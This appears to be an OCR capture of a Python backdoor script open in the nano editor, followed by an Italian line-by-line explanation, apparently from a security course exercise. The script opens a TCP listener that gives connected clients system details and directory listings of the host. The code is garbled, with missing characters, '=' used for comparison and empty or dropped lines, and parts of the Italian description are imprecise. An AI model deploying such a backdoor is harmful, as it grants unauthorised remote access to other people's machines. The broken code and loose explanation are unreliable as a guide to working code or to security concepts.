```
HE ACTIONS
 GNU nano 6.0
                                        backdoor.pv *
 mport socket, platform, os
SRV_ADDR = ""
SRV_PORT = 1234
 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((SRV_ADDR, SRV_PORT))
s.listen(1)
connection, address = s.accept()
print ("client connected: ", address)
while 1:
       data = connection.recv(1024)
   if(data.decode('utf-8') = '1'):
       tosend = platform.platform() + " " + platform.machine()
       connection.sendall(tosend.encode())
   elif(data.decode('utf-8') = '2'):
       data = connection.recv(1024)
            filelist = os.listdir(data.decode('utf-8'))
            tosend =
            for x in filelist:
                tosend += "," + x
            tosend = "Wrong path"
       connection.sendall(tosend.encode())
   elif(data.decode('utf-8') = '0'):
       connection.close()
       connection, address = s.accept()
```

La backdoor é una vulnerabilità che sfruttiamo da remoto per entrare all'interno di un sistema.

- -importo il modulo sulle socket per usare tutte le funzioni;
- -inseriamo l'ip di chi vogliamo ascoltare;
- -inseriamo la porta;
- -creiamo il socket "s" e specifichiamo di voler un indirizzo iPv4 e una connessione TCP;
- -colleghiamo il socket creato alla porta specificata;
- -configuriamo il socket per metterlo in ascolto sulla porta e assegniamo il valore 1 per indicare il numero massimo di connessioni in coda;
- -accettiamo e stabiliamo la connessione con il client e ci ritorneranno indirizzo IP e ID della connessione;
- -abilitato il tutto il client si connetterá con un ciclo sempre vero con una spazio di 1024 e un formato utf-8;
- -controllo che i caratteri utf-8 sono uguali a "1" e "2". Se "1" prende le informazioni e ci mette uno spazio in mezzo tramite i metodi richiamati specificando su che piattaforma ci troviamo. Viene quindi convertita la stringa in binario da mandare all'oggetto "connection". Se "2" leggiamo altri 1024 byte. Se "0" invece la connessione verrá chiusa.